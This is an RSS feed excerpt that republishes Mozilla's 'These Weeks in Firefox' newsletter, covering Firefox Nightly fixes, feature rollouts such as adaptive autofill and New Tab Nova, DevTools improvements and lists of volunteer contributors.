<li>As followups to the recent addition to the WebExtension tabs API to <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API#working_with_tab_split_views">support the new SplitView tabs feature</a>, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029099"> Bug 2029099</a> /<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029534"> Bug 2029534</a></li>
<li>Adaptive autofill has been enabled on Nightly.
<ul>
<li>Previously, autofill only completed domains (e.g. typing red autofilled<a href="http://reddit.com/"> reddit.com</a>). Now it can also complete full URLs for pages you visit often (e.g. red →<a href="http://reddit.com/r/firefox"> reddit.com/r/firefox</a>), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.
<ul>
<li>If you run into issues or have feedback, <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&amp;component=Address+Bar">you can file a bug here</a>!</li>
</ul>
</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=293943">Markus Stange [:mstange]</a> implemented dynamic toolbar on top in RDM (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1978145">#1978145</a>), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android
<ul>
<li>dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled</li>
<li>it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom</li>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image1.png"><img alt="Firefox Responsive Design Mode on Desktop displaying the Mozilla homepage in a mobile viewport. The toolbar at the top shows a simulated Android device (including the dynamic toolbar) with a viewport size of 376 × 464 pixels and a device pixel ratio of 3. The page content is shown in French, featuring the Mozilla logo, a “Menu” link, a “Pause animation” button, and the headline “Bienvenue chez Mozilla” with accompanying text about trusted technology and digital rights." class="aligncenter size-full wp-image-2069" height="1113" src="https://blog.nightly.mozilla.org/files/2026/06/image1.png" width="882"></a></li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h3><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=958957%2C1876109%2C1997388%2C2000797%2C1950995%2C1986020%2C2018272%2C2018276%2C2021681%2C2027969%2C2022115%2C1999012%2C2016058%2C2026585%2C2023913%2C2028167%2C2028293%2C2028927%2C1998002%2C2011343%2C1997925%2C2026574%2C2029398%2C2029684%2C1948019%2C2008756%2C2022601%2C2026032%2C2030428%2C1968244%2C1975391%2C944228%2C1962904%2C1977741%2C1997346%2C2027867%2C2030631%2C1807516%2C2030998%2C2030999%2C2015491%2C2028153%2C2028628%2C1978290%2C2008128%2C2024033%2C1883497%2C1984679%2C2030069%2C2031162%2C2031598%2C2012399%2C2031116%2C2031128%2C2031931%2C2031961%2C2033173%2C2032997%2C1919387%2C1947679%2C2027915%2C2032196%2C2019561%2C2024187%2C1392125%2C1993844%2C2027060%2C1983408%2C2034178%2C1873954%2C1875083%2C2008119%2C2008197%2C1628669%2C2031599%2C2033820">Resolved bugs (excluding employees)</a></h3>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>aoia7rz7l</li>
<li>Chukwuka Rosemary</li>
<li>DrSeed</li>
<li>Frédéric Wang Nélar</li>
<li>japandi</li>
<li>John Iweh</li>
<li>jonathancabera</li>
<li>Josh Aas</li>
<li>Keji Bakare</li>
<li>kofoworola shonuyi</li>
<li>konyhéa</li>
<li>liz</li>
<li>Mathew Hodson</li>
<li>Okhuomon Ajayi</li>
<li>Oluwatobi</li>
<li>ROSHAAN</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> Anthony Mclamb:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915"> Disable the legacy Edge migrator</a></li>
<li> Amin Amir
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
<li>🌟 Amine Zroual:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Omitted maxResults property not handled correctly in getRecentlyClosed</a></li>
</ul>
</li>
<li>any1here:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031162"> install_sig_alt_stack incorrectly checks mmap’s return value</a></li>
<li>🌟 Armin Ulrich:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031598"> Fix MessageHandlerRegistry.sys.mjs calling getExistingMessageHandler with an unused second argument</a></li>
<li>japandi
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1628669">Cannot remove amazon.com from top sites list</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1977741">The height of the pinned tabs area should be responsive to the number of pins</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1986020">Use cenum for nsIHelperAppLauncherDialog reason constants to enable better typescript annotations</a></li>
</ul>
</li>
<li>Nathan Johnson [:narjoDev]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1950995"> Remove browser.display.use_system_colors pref</a></li>
<li>DrSeed
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1962904">Firefox shows vertical tabs in new windows despite “Hide tabs and sidebar” setting</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968244">The “Expand sidebar on hover” option is not kept after the vertical tabs are disabled and enabled again</a></li>
</ul>
</li>
<li>Keji Bakare:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008756">Split view’s focus-outline is clipped on the right side of left tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031116">White space on the right side of left panel in split view</a></li>
</ul>
</li>
<li>🌟 gotyaoi:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1807516"> Reload toolbar button is active on about:newtab</a></li>
<li>Itoro James:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015491"> [A11y][Keyboard Navigation]Cancelling a note via Keyboard Navigation still saves it</a></li>
<li>John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997925"> The notification dot is not displayed if the tab is in a Split View</a></li>
<li>🌟 John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027867"> sidebar-shown attribute remains when sidebar.revamp is false</a></li>
<li>🌟 jonathancabera:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2012399">The Move tab to Split View option is also displayed for the tabs that are within the Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016058">A Note with long text (1003 characters) is saved by pressing ENTER even if the “Save” button is disabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026032">Tab group guide line becomes disconnected under certain conditions related to split views in vertical tab mode</a></li>
</ul>
</li>
<li>Aloys:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2000797"> Remove logic that forces distribution language packs to be reinstalled when upgrading from Firefoxes older than 67</a></li>
<li>liz:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1875083">Create test to ensure maxRenderCountEstimate is never being set to Infinity in virtual-list component in Fx View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008119">Button accessible name does not convey its function: missing topic context (Settings dialog &gt; Topics dialog &gt; buttons Following/Unfollow/Blocked/Unblock)</a></li>
</ul>
</li>
<li>Mary cathline:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022115"> Tab Group Label does not respect touch density in vertical tab bar</a></li>
<li>🌟 Brandon Lucier:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030631"> Popups opened with window.open give window type normal instead of popup</a></li>
<li>karan68:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997388"> [dialog] New Shortcut dialog needs a label/accessible name</a></li>
<li>🌟 Vector:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008128"> Button does not programmatically indicate that it opens a dialog (Recent activity section &gt; story card &gt; ••• disclosure &gt; Delete from History button)</a></li>
<li>🌟 Osoble:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1876109"> Update font size and weight for synced tabs device name headers in Firefox View</a></li>
<li>konyhéa:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1873954">Add test for sync admin disabled to browser_syncedtabs_errors_firefoxview.js</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1883497">Check all second paramaters for TestUtils.waitForCondition in Fx View test files</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030069">Recently Closed Tabs, Tabs from Other Devices, and History pages should have Cmd / Ctrl + Click on a link open the link in the new background tab.</a></li>
</ul>
</li>
<li>Noble Chinonso: <a href="http://sidebartreeview.js/">#shouldHandleEvent in SidebarTreeView.js compares event.keyCode to string values, causing Home/End keys to never be handled</a></li>
<li>Pranjali Srivastava:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=944228"> Add a test to verify that the space above tabs is consistent across PB, LWT and sizemode (where appropriate)</a></li>
<li>Okhuomon Ajayi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018272">More spacing is needed between the tab note icon and the close icon on the tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019561">The tabs in vertical mode collapsed state are positioned differently in Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027060">Keep vertical split view tabs stacked vertically even when the sidebar is expanded when expand on hover is enabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029684">Vertical split view tabs can be too big or small when tabs are overflowing</a></li>
</ul>
</li>
<li>🌟 Rishan:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030428"> Fix duplicated arrow function in browser_history_sidebar.js</a></li>
<li>Chukwuka Rosemary:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1948019">“Forget About This Site” context menu option missing from Firefox View history</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026574">Long strings are not displayed properly on the about:opentabs page search filed</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028153">Add test for Forget This Site option in Fxview history context menu.</a></li>
</ul>
</li>
<li>ROSHAAN:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018276">Tab note background colour is incorrect for default light theme</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997346"> [win/linux] The splitter between content areas does not match Figma spec</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028927">Fix typo in OpenInTabsUtils.confirmOpenInTabs()</a></li>
</ul>
</li>
<li>Sameeksha:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008197"> Disclosure button expanded/collapsed state not programmatically defined (Customize button)</a></li>
<li>kofoworola shonuyi:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999012">Actually hide or remove sidebar-shown attribute when in fullscreen.</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028293">Add a test for checking sidebar-shown attribute in fullscreen mode</a></li>
</ul>
</li>
<li>🌟 Sayd Mateen:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021681"> Page URL is displayed as tab name when page’s contains about:reader?&lt;/a&gt;&lt;/p&gt; &lt;p&gt;</a></li>
</ul>
<ul>
<li>Oluwatobi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1975391">Unable to delete selected history entries from sidebar</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1993844">Incorrect Sidebar button state/tooltip hover text</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023913">The city name heading level doesn’t follow the correct heading level order</a></li>
</ul>
</li>
<li>Nishchay [:nish]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031961"> Unable to add tabs to old closed tab groups (tabGroupState.splitViews is undefined)</a></li>
</ul>
<p> </p>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032014"> Bug 2032014</a>
<ul>
<li>NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes</li>
</ul>
</li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033173"> Bug 2033173</a>
<ul>
<li>Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!</li>
</ul>
</li>
<li>Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034329"> Bug 2034329</a>
<ul>
<li>Thanks to Simon Farre for promptly investigating and fixing this recent regression!</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Bug 1392125</a>
<ul>
<li>Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!</li>
</ul>
</li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=750915">Artem Manushenkov</a> fixed an issue where autosuggestion popup was removing overridden indicators from properties in the Inspector (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1983408">#1983408</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446257">Andrea Marchesini [:baku]</a> fix DevTools cookie header serialization for long cookies, which could lead to cookies not being visible in Netmonitor (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031299">#2031299</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed a toolbox crash that was happening we couldn’t find a localization file (e.g. when using a language pack on Nightly) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028930">#2028930</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> improved @container tooltip so it show the value of variables used in style()(<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030239">#2030239</a>), has enough contrast in dark mode (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033782">#2033782</a>) and contains a link to select the container (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031688">#2031688</a>)
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image3.png"><img alt='Firefox Developer Tools showing a CSS @container style() rule in the Rules panel. A popover for a element displays container properties including "container-name: hello section-container", "container-type: inline-size", and the custom property "--w: 100px", while indicating that --secondary and --plouf are not set. Below, the container query uses nested var() fallbacks, and a CSS declaration previews the resolved value for background-color.' class="aligncenter size-full wp-image-2071" height="532" src="https://blog.nightly.mozilla.org/files/2026/06/image3.png" width="1038"></a></li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=656417">Hubert Boma Manilla (:bomsy)</a> is making good progress on migrating the Console to CodeMirror 6 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032758">#2032758</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026569">#2026569</a>)</li>
</ul>
<h4>Fluent</h4>
<ul>
<li>We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!</li>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image5.png"><img alt="Stacked area chart titled “Are We Fluent Yet?” showing the number and type of localization strings available in Firefox from 2018 to 2026. The chart tracks Fluent strings (green), Properties strings (blue), DTD strings (pink), and a small number of INI strings. Over time, Fluent strings steadily increase while DTD and Properties strings decline. A tooltip at April 26, 2026 shows 10,372 Fluent strings, 3,997 Properties strings, and no remaining DTD or INC strings, illustrating Firefox’s ongoing migration to the Fluent localization system." class="aligncenter size-full wp-image-2073" height="924" src="https://blog.nightly.mozilla.org/files/2026/06/image5.png" width="1509"></a></li>
</ul>
<h4>Migration Improvements</h4>
<ul>
<li>Thanks to dao for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035009">fixing a recent alignment issue in the migration wizard dropdown</a></li>
<li>Thanks to volunteer contributor Anthony Mclamb for his patch that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915">disables the legacy EdgeHTML Edge migrator</a>! Once that finishes rolling out, presuming no surprises, we’ll go ahead and remove the migrator entirely.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Nova for New Tab has ridden the trains to Beta! It will be enabled by default, globally, when Firefox 151 goes out to release on May 19th
<ul>
<li>It’s possible that we’ll do a train-hop coupled with an experiment to enable HNT Nova for a few clients a bit earlier.</li>
</ul>
</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032213"> enabled Nova designs for New Tab</a>, rolling out the updated layout, widgets, and customization panel behind HNT Nova flags.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033165"> fixed the Nova content feed to render the intended four‑column layout</a> by correcting CSS grid breakpoints.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033264"> resolved a first‑load failure in the Weather widget</a> by fixing init order and fetch timing, eliminating the “Oops” error.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2031707"> synchronized the Weather toggle between about:preferences#home and the panel</a> via the shared showWeather pref to prevent desync.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2021460"> updated Nova grid focus order</a> to align tab flow with visual order for keyboard users.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2034620"> fixed critical UI issues in Lists and Timer widgets</a> covering overflow, controls, and layout stability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032462"> guarded document.dir access in Nova render paths</a> to avoid startup cache worker errors and improve startup stability.</li>
<li>Rolf<a href="https://bugzil.la/2031568"> added a new normalization method for the inferred interest vector</a> to stabilize topic relevance across sessions.</li>
<li>Rolf<a href="https://bugzil.la/2031569"> prevented unnecessary content refreshes during Pocket New Tab experiments</a>, reducing jank and bandwidth.</li>
<li>Sameeksha<a href="https://bugzil.la/2008197"> defined the Customize button’s expanded/collapsed state programmatically</a> using aria-expanded for better a11y.</li>
<li>liz<a href="https://bugzil.la/2008119"> clarified follow/unfollow/blocked button names with topic context</a> so screen readers announce clear actions.</li>
<li>Vector<a href="https://bugzil.la/2008128"> marked the Delete from History control as opening a dialog</a> via aria-haspopup=dialog for assistive tech.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers pref off</a>, restoring user selections.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> corrected privacy link color and focus styles</a> for contrast and keyboard visibility.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
</ul>
<h4>Search and Urlbar</h4>
<ul>
<li>Marco has fixed a<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743"> couple</a> of<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1989632"> issues</a> with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.</li>
<li>Work continues on the new separate search bar to improve the functionality, e.g.<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033231"> allowing middle click</a> to perform a search in a new tab,<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032991"> avoiding performing a</a> search when adding a search engine.</li>
<li>Work also continues on the new Nova layouts.</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032122">uplifted 10 bugs</a> to 150.0.1 dot release addressing initial user feedback from diary study and <a href="https://connect.mozilla.org/">Connect</a>
<ul>
<li>jump to bottom of conversation <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028692">2028692</a></li>
<li>stop streaming button <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029204">2029204</a></li>
<li>back/forward navigation from assistant <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029229">2029229</a></li>
<li>dark mode for various chips <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2024499">2024499</a></li>
</ul>
</li>
<li>search engine switching from smart bar <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021973">2021973</a></li>
<li>Nova styling within smart window <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026794">2026794</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Dustin converted moz-breadcrumb-group variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029181">Bug 2029181 – Convert moz-breadcrumb-group variables into JSON design tokens</a></li>
<li>Dustin converted moz-box-* variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029180">Bug 2029180 – Convert moz-box-* variables into JSON design tokens</a></li>
<li>Dustin converted moz-promo variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029190">Bug 2029190 – Convert moz-promo variables into JSON design tokens</a></li>
<li>Dustin converted moz-reorderable-list variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029191">Bug 2029191 – Convert moz-reorderable-list variables into JSON design tokens</a></li>
<li>Dustin converted moz-visual-picker variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029193">Bug 2029193 – Convert moz-visual-picker-item variables into JSON design tokens</a></li>
<li>Dustin updated browser-shared.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022985">Bug 2022985 – Update browser-shared.css so it passes use-design-tokens</a></li>
<li>Dustin updated popup.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022979">Bug 2022979 – Update popup.css so it passes use-design-tokens</a></li>
<li>Jon added opacity tokens and added opacity to use-design-tokens stylelint rule  <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1955325">Bug 1955325 – Create opacity tokens</a></li>
<li>Jon converted toolbar design tokens to JSON <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017970">Bug 2017970 – Convert toolbar design tokens to json</a></li>
<li>Anna fixed moz-select with panel-list drop-down size inconsistency <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032365">Bug 2032365 – Applications Action drop-down menus sometimes have a different size when opened</a></li>
<li>Anna fixed issue with the disabled state of moz-radio component <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027123">Bug 2027123 – moz-radio disabled state cannot be changed while the moz-radio-group is disabled</a></li>
<li>Anna updated moz-button and moz-box-button components to prevent label corruption when accesskeys are present and the label changes.   <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022326">Bug 2022326 – moz-button with accesskey label becomes corrupted when l10nId updates dynamically</a></li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027209">2027209</a></li>
<li>In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">2031837</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Tim converted settings related to Accessibility page to config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968116">Bug 1968116 – Convert settings related to Accessibility page to config-based settings</a></li>
<li>Benjamin converted Privacy &amp; Security page to the config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968112">Bug 1968112 – Convert settings related to Privacy &amp; Security page to config-based settings</a></li>
<li>Finn integrated Firefox Labs page into setting-pane config <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021047">Bug 2021047 – Integrate Firefox Labs page into setting-pane config</a></li>
<li>Anna converted Firefox Updates section to config-based prefs <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1990961">Bug 1990961 – Convert Firefox Updates section to config-based prefs</a></li>
<li>Mark Kennedy added moz-promo, that is welcoming users to the redesigned settings <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015093">Bug 2015093 – Add a moz-promo to welcome users to the redesign</a>
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image4.png"><img alt="The Firefox settings page in dark mode showing a notification banner that reads, “Same settings, new look!” The message further explains that the page has been reorganized to make settings easier to scan and explore, while keeping all existing settings unchanged. A “Got it” button appears below the message. The “AI Controls” section is visible underneath the banner." class="aligncenter size-full wp-image-2072" height="559" src="https://blog.nightly.mozilla.org/files/2026/06/image4.png" width="1431"></a></li>
</ul>
</li>
<li>Anna added possibility to search for actions in the redesigned “Applications” section <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020370">Bug 2020370 – It’s no longer possible to search for actions in the new “Applications” section</a></li>
<li>Anna fixed the Settings navbar layout breakage</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: More Kit, More Control – These Weeks in Firefox: Issue 203]]></title>
<description><![CDATA[Highlights

James enabled adaptive autofill in Nightly for testing, which we believe should provide better results in the URL bar when doing autocomplete!
Jack updated the illustrations shown on some of our error pages to match the latest approved designs, giving users more polished artwork when ...]]></description>
<link>https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:32 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>James <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032547">enabled adaptive autofill in Nightly</a> for testing, which we believe should provide better results in the URL bar when doing autocomplete!</li>
<li>Jack <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">updated the illustrations shown on some of our error pages</a> to match the latest approved designs, giving users more polished artwork when the browser encounters connection or security errors!</li>
</ul>
<p><img alt="Internet connection error page with an adorable Kit illustration" class="aligncenter wp-image-2080 size-full" height="652" src="https://blog.nightly.mozilla.org/files/2026/06/image2-1.png" width="1584"></p>
<ul>
<li>Controls for the Memories feature <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032998">can now be set during Smart Window onboarding</a></li>
</ul>
